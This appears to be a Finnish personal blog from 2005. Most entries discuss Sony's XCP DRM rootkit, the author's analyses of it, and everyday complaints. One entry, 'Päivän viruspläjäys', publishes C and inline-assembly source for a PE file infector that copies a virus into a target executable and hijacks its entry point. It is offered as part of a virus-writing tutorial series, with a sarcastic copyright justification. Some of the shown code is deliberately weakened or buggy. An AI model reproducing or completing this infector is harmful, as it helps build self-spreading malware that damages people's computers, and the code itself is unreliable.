IRC-Galleria

Söin rasvaisen leivänSunnuntai 20.11.2005 19:33

Söin rasvaisen leivän, magneettikin söi rasvaisen leivän. Leivällä ei kuitenkaan ollut rasvaa. Hajotkaahan.

lallaaSunnuntai 20.11.2005 15:49

Tajusin sitten, että tuossa läppärissä olisi myös usb-plugi. Kaikki tämä vaiva floppyjen kanssa!!

No, kirjoittelin ajankuluksi myös tiivistelmän (englanniksi) Sonyn XCP-suojauksen oleellisuuksista ja ongelmista.

http://hack.fi/~muzzy/sony-drm/info.html

ah, floppy-asemaSunnuntai 20.11.2005 06:51

Tiedostojen koot hahmottaa vasta, kun joutuu siirtämään ne floppyillä koneeseen jossa ei ole verkkoa. Sitä ei tajuakaan miten monta megaa mikäkin vie, ennenkuin on pitänyt yllä mainitulla tavalla veivata tiedostot laitteesta toiseen.

Rant and WhinePerjantai 18.11.2005 18:01

Sonyn tapaus rasittaa, ja rassaa niin paljon että kirjoitin siitä oman mielipidesivun.

http://hack.fi/~muzzy/sony-drm/rant-and-whine.html

Tiivistettynä: Sony BMG kaappaa ihmisten koneita ja rikkoo lakia, yrittää välttää vastuuta kaappaamalla pienemmän firman ja tekemällä pahat hommat siellä, sitten väittää olevansa syytön ja ettei heillä ollut mitään tekemistä homman kanssa.

Jee!Tiistai 15.11.2005 21:10

Minusta ja stopprotista on artikkeli täällä: http://p2pnet.net/story/6988

Sony & LGPLTiistai 15.11.2005 08:02

Sonyn DRM-kilkkeestä löytyi kuin löytyikin sitten sitä LGPL-koodia, eli ovat törkeästi ottaneet opensource-roinaa eikä mitään lisenssiä ole mukana eikä mainintaa dokuissa. Hyvä meno!

WheeMaanantai 14.11.2005 19:23

Sysinternalsin Mark linkkasi juttuuni sony-uninstall-rebootista blogissaan, siellä on mun nimikin: http://www.sysinternals.com/blog/2005/11/sony-no-more-rootkit-for-now.html

boingboingSunnuntai 13.11.2005 21:08

Whee. Juttuni sony-uninstaller-kämmistä pääsi boingboingiin :)

Sonyn uninstalleri on takaovi!Sunnuntai 13.11.2005 07:28

Jaahas jaahas! Jos olet uninstalloinut sonyn rootkitin, koneellasi on takaovi jota voi ihan www-sivujen kautta hyväksikäyttää, esim vaikka koneesi boottaamiseen mitään sinulta kysymättä!

Lisää faktaa, ja demonstraatio:
http://hack.fi/~muzzy/sony-drm/

Päivän viruspläjäysSunnuntai 13.11.2005 05:11

Jäi nyt vähän myöhäiselle tälle viikolle, mutta parempi myöhään kuin ei milloinkaan.

Tälläkertaa esittelyssä on toinen saastuttajafunktioista. Aiemminhan tuli nähtyä funktio joka allokoi uuden sectionin (ja joka muuten sisältää kriittisen heikkouden ettei sitä voi käyttää oikeassa viruksessa, parempi etten korjaa). Tälläkertaa näytän funktion joka kopioi itse viruksen kohteeseen, eli tekee itse saastutus-osuuden:

#define ENTRYWRITE_MAGIC 0x434
#define VIRUSENTRY_MAGIC 0x2C0

inline void bar(char *base, unsigned int fsize)
{
unsigned int attacksize = 0x1000;
unsigned int virus;
__asm {
call blehbleh
blehbleh:
pop eax
mov virus, eax
}
virus = (virus/0x1000)*0x1000;
mmove(base+fsize, (char*)virus, attacksize);

pe::dos_header *dosh = reinterpret_cast<pe::dos_header*>(base);
pe::nt_header32 *peh = reinterpret_cast<pe::nt_header32*>(base+dosh->e_lfanew);

*(unsigned int*)(base+fsize+ENTRYWRITE_MAGIC) = peh->optional_header.image_base + peh->optional_header.address_of_entrypoint;

pe::section_header* sections = reinterpret_cast<pe::section_header*>
(base+dosh->e_lfanew+peh->file_header.size_of_optional_header + 20+4); // fileheader+signature = 20+4

pe::section_header *v = sections + peh->file_header.number_of_sections-1;

peh->optional_header.address_of_entrypoint = v->virtual_address+VIRUSENTRY_MAGIC;
}

Alussa oleva pätkä assembleria siis käyttää call/pop menetelmää EIP-rekisterin lukemiseksi, tämän jälkeen otetaan 0x1000:lla jaollinen osuus eli sama granulariteetti kuin aiemmassa section-allokaattorissa. Tällä pitäisi löytyä pohjaosoite virukseen, koska EIP osoittaa aina jonnekin tämän blokin sisälle. mmove() on simppeli memmove-klooni. Piti toteuttaa itse, kun memmove olisi generoinut MoveMemory apikutsun, ja oikeita funktiokutsuja ei tässä viruksessa voinut käyttää... Tässä nyt täydellisyyden vuoksi vielä se mmovekin:

inline void mmove(char*dest, char*src, unsigned int size)
{
if (dest>src)
for(;size;--size)
dest[size-1] = src[size-1];
else
for(unsigned int i=0;i<size;++i)
dest = src;
}

Ylemmässä bar()-funktiossa ei ole juurikaan sen erikoisempaa, definatut magic-arvot määrittävät missä kohtaa virusta on oikea entrypointti ja missä kohtaa on viruksen pääfunktion loppu, josta löytyy assypätkä:

__asm {
push 0x12345678
ret
}

Tätä käytetään alkuperäiseen entrypointtiin hyppäämiseen, jotta saastunut ohjelma saa ajovuon haltuunsa kun virus on tehnyt oman työnsä. Ensikerralla sitten ehkä saastuttajamekanismin pääfunktio.

Ja mainittakoon vielä että tätä tietotaitoa levitän, koska tekijänoikeus on antamassa kaikille taiteilijoille oikeuden suojata tekeleitään keinoja kaitamatta. Tarkoitus hyvittää keinot, joten olisi epäreilua jos pienet artistit eivät osaisi tehokkaita haittatekniikoita.